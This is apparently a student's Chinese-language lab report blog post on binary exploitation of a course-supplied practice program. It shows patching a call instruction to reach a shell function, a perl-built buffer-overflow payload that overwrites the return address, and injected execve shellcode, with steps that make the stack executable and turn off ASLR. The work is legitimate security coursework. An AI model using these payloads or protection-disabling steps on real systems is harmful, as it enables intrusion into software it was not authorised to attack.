Exp1 PC平台逆向破解----20164325 王晓蕊

前言:实验中用到的知识

JE:条件转移指令,如果相等则跳转;

JNE:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转;

JMP:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出;

NOP:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令;

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

根据内容得出(在实验中我只保留了关键的三个部分,所以没放部分汇编指令的部分的截图)

 JE 汇编指令的机器码是“74” JNE汇编指令的机器码是“75” JMP汇编指令的机器码是“eb” NOP汇编指令的机器码是“90” CMP汇编指令的机器码是“39 

objdump反汇编常用参数

 objdump -d <file(s)> 将代码段反汇编

xxd命令

 :%!xxd 回车后,该文件会以十六进制形式显示

 :%!xxd -r  参数-r是指将当前的十六进制转换为二进制;

一:直接修改程序机器指令,改变程序执行流程

把老师给的pwn1放在了桌面并且重命名为20164325wxr,所以我需要  cd Desktop ;因为害怕会出错所以要备份 cp 20164325wxr 20164325 。

进行反汇编:使用命令  objdump -d 20164325 | more 

观察getshell,foo,main;

原理:main函数中的地址”80484b5“所对应的“call 8048491”这条指令是调用地址为”8048491“的foo函数,而对应指令为“e8 d7ffffff”;“e8”是跳转指令,如果按正常情况进行,会执行main函数的下一步,也就是“80484ba”地址的指令,所以按老师上课所讲内容,此时的EIP值就为“80484ba”。

在这里执行的是”call“指令,cpu就会转而执行 “EIP + d7ffffff”这个指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29就是8048491这个值。

所以只要修改d7ffffff为"getShell-80484ba"的补码,就能实现调用getShell,所以需要把d7ffffff变c3ffffff。

过程:
1. Vi 20164325  进行命令模式

2.  :%!xxd 将显示模式切换为十六进制

  在底行模式输入/e8 d7定位需要修改的地方,中间加一个空格更好找。

3.选中修改为c3

 输入 :%!xxd -r 将十六进制转换为原格式

 使用 :wq 保存并退出

结果为:

4.  ./20164325  得到shell提示符

二:通过构造输入参数,造成BOF攻击,改变程序执行流

原理:foo函数中存在漏洞,可以利用foo在读写字符串是的漏洞造成缓冲区溢出,达到调用shell的目的。覆盖原返回地址080484ba,覆盖的部分为getShell函数起始地址0804847d,在对其进行攻击。

过程:

1.我先备份一个文件名为201643251

2.使用gdb进行调试,运行可执行文件,输入:1111111122222222333333334444444455555555

输入 info r eip  查看eip寄存器的值,我记得与实验指导相同,是35353535确定是55555555部分覆盖了返回地址

 

 

(这里找eip寄存器的值的截图不见了)

3.进一步确定范围,同上输入1111111122222222333333334444444412345678

输入 info r eip  查看寄存器的值,因为得出的是34333231所以确定是1234部分覆盖了返回地址,并且是倒序

 4.键盘不能直接输入十六进制,所以要先生成包括\x7d\x84\x04\x08的字符串文件

 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input 

用 xxd input  十六进制显示文件

确认无误后,查看文件并通过管道将查看结果送入201643251中运行

三:注入Shellcode并执行

 1. apt-get install execstack  先安装execstack

execstack -s 201643251  并设置堆栈可执行

 execstack -q 201643251  查询是否可执行

 more /proc/sys/kernel/randomize_va_space  查询是否关闭地址随机化,2为开启,0为关闭 

 echo "0" > /proc/sys/kernel/randomize_va_space  关闭地址随机化

 

2.注入shellcode

 把输入的字串放入input_shellcode文件里

 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 

再输入 (cat input_shellcode;cat)| ./201643251   注意只打一次空格

另外打开一个终端,输入 ps -ef | grep 201643251 来查看201643251的进程号

输入指令 attach 2751 调试这个进程

使用指令 disassemble foo 设置断点

 

 break *0x080484ae 在另外一个终端中按下回车。

 通过  info r esp  查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,因此,如图,将\x4\x3\x2\x1置为\x60\xd3\xff\xff即可

 

 

四:实验总结

在这次实践中,通过三种方法改变了执行文件的执行流程,对应着三种不同的攻击思想;第一个是通过改地址来改变程序执行的流程,第二个是强行改变流程,第三个是注入shell代码攻击。

让我感受到了系统中存在很多漏洞,而什么是漏洞?漏洞有什么危害?我觉得漏洞就是存在的系统的缺点,就是能让外界有机可乘的缺点,开发者开发的时候会出现的一些想不到的地方,如果对这些地方进行攻击就会有相对的危害,而且我觉得漏洞是很常见的,有大漏洞也有小漏洞,但是只要是有漏洞的就是很致命的;关于漏洞的危害,漏洞出现就要及时的解决掉要不然就会发生很累恐怖的事情,比如黑客可以用过漏洞来监视你的生活,盗取你的文件;是你的系统瘫痪,对你进行勒索等等危害。

五:实验感想和收获

通过这次实验我真的学到了很多东西,本来在老师上课的时候讲的东西,对我来说还是一知半解,但是通过这次的实验,我对于这方面的知识就掌握的比较牢固了;这个实验我真的做了很长时间,不会的就会看实验指导和问同学,这个因为我的粗心所以重做了很多次,到最后一个攻击注入shellcode的时候在开启另外一个终端的时候,我按了两次回车,结果没有成功;我又做了了一遍才成功,这就说明做实验的时候一定要仔细,而且上课要好好听课,实验指导书步骤很清楚要仔细看!这次实验是第一次实验,我也是第一次接触博客,学到了实验外的很多应用,也有很多不足的地方,之后我会努力改进我的不足。

posted on 2019-03-16 22:28  我最酷ccc  阅读(197)  评论(0编辑  收藏  举报